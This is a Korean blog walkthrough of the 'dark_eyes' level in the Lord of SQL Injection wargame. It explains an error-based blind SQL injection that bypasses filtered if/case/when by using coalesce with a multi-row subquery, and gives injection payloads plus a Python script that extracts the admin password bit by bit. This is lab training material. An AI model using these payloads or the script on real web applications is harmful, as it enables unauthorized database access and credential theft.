-
[LOS] 22. dark_eyes 문제 풀이Wargame/LOS (Lord of SQL Injection) 2019. 7. 31. 21:34
iron_golem 문제와 같은 에러 기반 Blind SQL 인젝션이다. 그러나 iron_golem과 달리, if문과 case, when 구문이 필터링 목록에 포함되어 있고, 에러가 발생하면 아무런 에러 문구도 출력하지 않는다.
iron_golem에서는 if문을 사용하여 pw를 알아냈지만, dark_eyes에서는 이 방법을 사용할 수 없기 때문에, 이를 우회할 수 있는 coalesce 함수를 사용하였다.
coalesce 함수의 형식은 다음과 같다.
coalesce((리턴값), 변환값)
만약 리턴값이 NULL이면 변환값을 반환해준다.
예를 들어서 아래와 같은 쿼리문이 있다고 가정하자.
SELECT id FROM table WHERE 2=coalesce((select id from table where 1=2 limit 1), 2)
select id from table where 1=2는 where문의 조건이 거짓이므로 아무것도 반환하지 않는다. 즉, 리턴값이 NULL이 되므로 coalesce 함수는 변환값인 2를 반환해준다. 따라서 최종 쿼리문은 SELECT id FROM table WHERE 2=2로 조건문이 참이 되어 id 컬럼이 정상적으로 추출될 것이다.
이러한 점을 이용하여 pw의 길이를 알아내는 페이로드를 작성해보면 아래와 같다.
?pw=' or (select id where id='admin') = coalesce((select id where id='admin' and length(pw)=1)
, (select 1 union select 2))%23
만약 pw의 길이가 1이 맞다면 id='admin'인 레코드의 id 컬럼이 추출될 것이므로 결국 select id where id='admin'의 수행 결과와 같을 것이다. 하지만 pw의 길이가 1이 아니라면, (select 1 union select 2)라는 서브 쿼리가 수행되어 에러가 발생할 것이다.
위 페이로드를 통해 알아낸 pw의 길이는 8이다.
pw의 길이를 알았으니 이제 pw를 알아내자. 위에서 작성한 페이로드에서 coalesce 함수 내의 리턴값 부분만 수정하면 된다.
?pw=' or (select id where id='admin')=coalesce((select id where id='admin' and ord(substr(pw,1,1))=61)
, (select 1 union select 2))%23
12345678910111213141516171819202122232425262728293031import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)headers = {'Cookie':'PHPSESSID=본인의 세션 아이디'}pw_length = 8bit_length = 16pw = ''print("\n=== Find Password ===\n")for i in range(1, pw_length+1):bit = ''for j in range(1, bit_length+1):payload = "pw=' or (select id where id='admin')=coalesce((select id where id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1),(select 1 union select 2))%23".format(i, bit_length, j)res = requests.get(url=URL+payload, headers=headers, verify=False)if 'query' in res.text:# True -> bit == 1bit += '1'else:# 에러 발생 -> bit == 0bit += '0'pw += chr(int(bit, 2))print("pw (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))print('\n>>> Final Password: %s' % pw)작성한 프로그램을 돌려본 결과, pw는 5a2f5d3c이었다.
[참고 자료]
coalesce 함수를 이용한 Blind SQL Injection: https://pjongy.tistory.com/126
'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글
[LOS] 24. evil_wizard 문제 풀이 (0) 2019.08.06 [LOS] 23. hell_fire 문제 풀이 (0) 2019.08.01 [LOS] 21. iron_golem 문제 풀이 (2) 2019.07.30 [LOS] 20. dragon 문제 풀이 (0) 2019.07.29 [LOS] 19. xavis 문제 풀이 (4) 2019.07.24